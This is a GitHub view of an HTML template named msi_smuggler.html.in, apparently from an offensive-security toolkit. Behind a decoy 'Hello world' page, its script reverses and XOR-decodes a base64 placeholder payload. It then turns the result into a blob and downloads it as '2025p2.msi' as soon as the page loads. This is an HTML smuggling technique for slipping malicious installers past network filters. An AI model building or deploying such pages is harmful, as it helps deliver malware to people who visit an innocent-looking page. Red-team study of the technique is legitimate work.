-
Notifications
You must be signed in to change notification settings - Fork 21
Expand file tree
/
Copy pathmsi_smuggler.html.in
More file actions
37 lines (34 loc) · 1019 Bytes
/
msi_smuggler.html.in
File metadata and controls
37 lines (34 loc) · 1019 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<!DOCTYPE html>
<html>
<head>
<title>Hello world</title>
</head>
<body>
<p>Nothing to see here.</p>
</body>
<script>
function B64ToBuffer() {
var b64String = INPUT_PLACEHOLDER;
var byteStr = window.atob(b64String);
var bStrLen = byteStr.length;
var retBytes = new Uint8Array(bStrLen);
var inputKey = new Uint8Array(KEY_PLACEHOLDER);
var keyLength = inputKey.length;
for (var i = 0; i < bStrLen; i++) {
retBytes[i] = byteStr.charCodeAt(bStrLen - i - 1);
retBytes[i] = retBytes[i] ^ inputKey[i % keyLength];
}
return retBytes.buffer;
}
var fileByteBuffer = B64ToBuffer();
var fileBlob = new Blob([fileByteBuffer], {type: 'octet/stream'});
var linkAnchor = document.createElement('a');
document.body.appendChild(linkAnchor);
linkAnchor.stye = 'display: none';
var fileUrl = window.URL['createObjectURL'](fileBlob);
linkAnchor['href'] = fileUrl;
linkAnchor['download'] = '2025p2.msi';
linkAnchor['click']();
window.URL['revokeObjectURL'](fileUrl);
</script>
</html>